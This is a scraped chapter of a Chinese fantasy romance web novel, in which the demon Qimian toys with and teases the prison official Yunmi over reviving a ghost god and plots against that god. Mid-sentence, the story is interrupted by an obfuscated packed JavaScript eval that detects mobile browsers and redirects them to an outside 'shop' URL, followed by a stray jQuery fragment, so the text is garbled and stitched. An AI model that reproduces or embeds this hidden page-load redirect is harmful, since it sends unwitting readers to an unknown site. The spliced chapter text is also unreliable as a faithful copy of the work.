默认冷灰
24号文字
方正启体

10. 第 10 章

作者:九条病本书字数:K更新时间:
    云弥刚要从座位上弹起来。


    七面往他肩上轻轻一压,他顿时嘶痛,竟意外坐在了她的手掌心上。


    她没动,任由他压着自己。


    反是云弥神色复杂,他想挪开却怎么都移不走半分。


    “书房里随时有人进来,你切勿胡作非为。”


    他全身都好烫,像是重伤后发烧遗留的余热。


    七面很敏锐地察知到他身上的血气,逐渐蹙起眉头:“你又受伤了?”


    “没。”云弥应话倒挺快。


    但他说完,七面就扼住他的下巴:“你胆敢对我说谎?”


    她把对方脸颊都掐红:“谁让你受伤的?平白给我添麻烦,说出来我亲自去绞死他。”


    “我说了没有。”


    云弥用力撇开头,视线落向别处:“我的事情不需要你多管。”


    “这么说来,你想复活鬼神的事也不归我管了?”


    七面取出了一盏暗灯,她仅轻吹一口气,灯罩中魂灵亮起。


    云弥为此扭过头来,看着魂灯里的东西愈发出神:“是……鬼神大人的魂?”


    “你给祂续上了?”他急迫问道。


    “点灯续魂简单,后续重塑肉身才是最难的,你应该知道这要消耗不少灵力。”


    她被压住的手轻微动了一下:“所以你该补偿我。”


    “以你现在的身份,想要什么不都是一句话的事么?”


    云弥根本就不敢看她,因为身下某人的动作而羞愤到眼神无处安放。


    “那司狱官呢?如果我要你,也是一句话的事吗?”


    她说出这话,云弥就不出声了。


    “说话。”七面偏偏盯紧他的眼睛。


    那双黑眸已经不似从前那般阴戾慑人,这些天奔波劳累,他又身上带伤总归没有足够的休息时间。


    云弥深深呼吸,极其为难地说了句:“随便你。”


    七面听见这三个字,若有所思地点点头:“噢,那便下去睡会儿吧。”


    然后他就愣住了,嘴里还在解释:“我没说可以和你睡,我的意思是往后生死都随便你。”


    她颇为奇怪地摊手:“我也没说要你陪我睡,你那么迫不及待做什么?让你自己回去休息而已,我现在手头有事要忙,没时间顾你。”


    毕竟相较于沉迷男人的美色,七面还是对这个神位更加感兴趣。


    而且批阅奏帖这种事情,还是难不倒她的。就算云弥长了腿,但他不会跑也跑不了。


    眼下云弥委实是惊住,或是没想到她居然会这么轻易放过他。


    “谁迫不及待了?是我曲解了你的意思,现在就走。”


    他刚从手上逃离,走出两步又回头:“奏帖不能随便乱批,你仔细点。”


    “你是念过经吗?”


    七面疑惑了:“天天叮嘱我做这做那,你也不嫌累?”


    云弥动了动唇,没有再说话。


    她目送他背影消失在门外,另有一队鬼使擦肩步入书房内。


    眼前摆着一排新衣,其中有鬼使上前来道:“大殿,明日天祭日的祭祀服需要您亲自挑选。”


    她一眼扫过去,要么是暗色,要么是白色,但自己莫名想穿红色。


    鬼神为战天道而死,明天也是祂的祭日,何不穿得艳丽一点来庆祝一番?


    可想想便好,七面懒得去捅这个娄子。


    她看过几眼,随口道:“去找你们司狱官吧,他说哪件就哪件。”


    鬼使们没谁有异议,纷纷应下后又退了出去。


    现在书房里除了她没有别人。


    浆球从角落里骨碌骨碌滚出来,跳到她手边:“主人,灯是假的?”


    七面指尖叩击着灯罩,里面的神魂竟像吸在她的皮肤上:“怎么会是假的呢?我从来说到做到,此番自然也不会骗人。”


    “可是您何必答应他呢?”


    浆球想不明白,扑哧扑哧冒着焰火:“您大可直接把司狱官控制住,以现在的状态夺得神位,岂不是轻而易举?”


    “你是觉得多一事不如少一事?”


    她把魂灯收起来:“但是鬼神没有彻底灰飞烟灭,就还有回归的可能。我只答应救回祂,没保证救回后不杀了祂。”


    “噢!”浆球蹦起来的时候,把木质的桌面烧出一个小黑坑:“我懂了,主人是想要趁鬼神还未恢复神力之际,直接灭祂。”


    “嘘——”


    七面做个安静的手势:“别让那个家伙听见了,这个惊喜以后再送给他。”


    她屈指弹走浆球:“你回去吧,看好炼狱里的那只傀儡,一切听我指挥行事。”


    “主人……”浆球被赶着走,憋屈道:“待在炼狱里太无趣了,您何时也让我正大光明出来透气?”


    “不着急,很快就可以了。”


    七面已经提起笔,开始认真看手上的奏帖。


    命台这些冥官个个老奸巨猾,所说正事不多,反而弹劾司狱官的帖子不少,还有就是提议诛杀底狱的恶灵。


    她朱笔落下,直接在冥官名字上划下两笔交叉。


    等到这些帖子全部阅完,眼睛早已昏花模糊,手也酸得不行。


    七面暴躁把笔往桌上一拍。


    她不由叹气:“做个鬼神管天管地管那么多破事。”


    说完,门前就有鬼使听到动静进来了。


    “大殿,您……是冥官们惹您不悦了?”


    她未曾搭理,直接从它们之间穿过去。


    出了书房,七面寻往云弥的住处。他所在离这里不远,寝房坐落在玉池水声中,从漫着雾气的窗台可以看见里边有一道人影。


    云弥坐在一盏残烛下,擦着两道明晃晃的东西,仔细一看,是两把雕银冷刀。


    她听见很低落的话音:“近来神器感应愈来愈强,您一定很快就能活过来吧。”


    他捧着那副双刃,眼睫低垂,根本看不清神色。


    但或许也不用看,只听那语调就知道他定是哭过一会儿,毕竟声音又哑又颤。


    真是痴情呢。


    七面蔑视一眼,她正要转身就走。


    “等等……”


    她这么静悄悄的,居然还能被他发现?


    待到她转回去,身后压根就没人。


    七面不解,那他到底是在和谁说话。她又回到窗台前,发现那柄雕银双刃在隐隐颤动,似乎像是与哪方灵力产生了共鸣。


    云弥放下手中之物,正在用灵符四处探寻线索。眼看就要从屋内出来,七面出于本能去躲避。


    “是你。”


    云弥还是发现了她,说来灵符最能追


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480955|201733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    踪浊气。


    她从拐角处走出去,看着他手里燃符,故作不知问:“司狱官这是在找什么呢?”


    “没什么。”


    他清了清嗓子,似在掩饰自己哭过的事实,可眼睛都在泛红,实在是骗不了谁。


    “你在这做什么?偷偷摸摸不像是你的作风。”


    云弥眼神瞥向别处,还在寻找着蛛丝马迹,然而灵符就停在七面眼前,总归是被这更盛的浊气所吸引。


    “我没想做什么,”七面抬手扫开那张碍眼的灵符:“不过是来提醒你,再过一个时辰就准备祭奠祂了。”


    “你……”云弥气得目眦尽裂:“祂没死!不许用祭奠这个词。”


    七面假意闭嘴一瞬,朝他屋子里走去:“好,是我口误。”


    她正要去拾起桌上的银刃,云弥倏地收起来。


    此刻手停在半空中有点僵住,继而转向了云弥的衣襟,她勾住他的领口:“这么小气,碰一下都不行。”


    云弥向后退开,更是把她的手也撇去。


    “神位都给你了,你还想要什么?”


    “也没什么,”七面又捉住他的手,靠近自己的衣带:“不过祭祀在即,需要你替我更衣。”


    他想抽回手,却被她死死攥住:“寝殿一群鬼使都是摆设?你何不去寻它们?”


    她偏要借云弥的手抽开自己的衣带:“脱外衣即可,懒得回去找它们。”


    语罢,最外面一件衣衫已经落到他手臂上。


    云弥被迫接着,下一刻直接丢在旁侧座椅上。


    祭祀服刚才送过来后便一直摆在那里,想来往年定当是他给傀儡换上衣服。


    七面早就看明白。


    现在云弥站在身前,双手环着她的腰际,漫不经心地低头给她系腰带。


    她瞄向另一身祭祀服:“需要我帮你穿吗?”


    云弥一口否定:“我不需要。”


    他回话时甚至没有经过一瞬间的思考,以致没能反应过来便被扯断了衣带。


    七面才不管他说什么。


    刚刚只是问一问而已,又没打算征求他的意见。


    等到外衣褪下,她的手落在云弥肩膀下端,摸到结实的臂肌,替他拢起新制的衣衫时指甲无意间划过身前,柔软轻弹确实好摸。


    云弥自然感受到她的蓄意调戏,他当即闪身逃走,站在她三步开外。


    “无耻!我就知道你不怀好意。”


    七面手势落空,她表情凝滞一瞬,倏地笑道:“看都看过了,还不许人碰吗?”


    “对了,上次的东西你可有收好,我随时检查。”


    “什么东西?”


    云弥显然又慢半拍。


    她细细给描述:“就是那个莲头藕身的玉器,和司狱官亲密接触过的东西……”


    “闭嘴!”云弥立马甩出了一张禁声符。


    七面随意把它揭开:“司狱官别激动,这次你要是不愿意的话,我……”


    “笃笃笃!”


    该死的叩门声打断了她的下文。


    “谁?”


    七面忍着怒意道:“进来说话。”


    但见房门被撞开,一个阴差趔趔趄趄闯进来,身上多处都挂着伤,无力往地上一跪:“大殿,司狱官,不好了!底狱那只恶灵要杀出来了!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)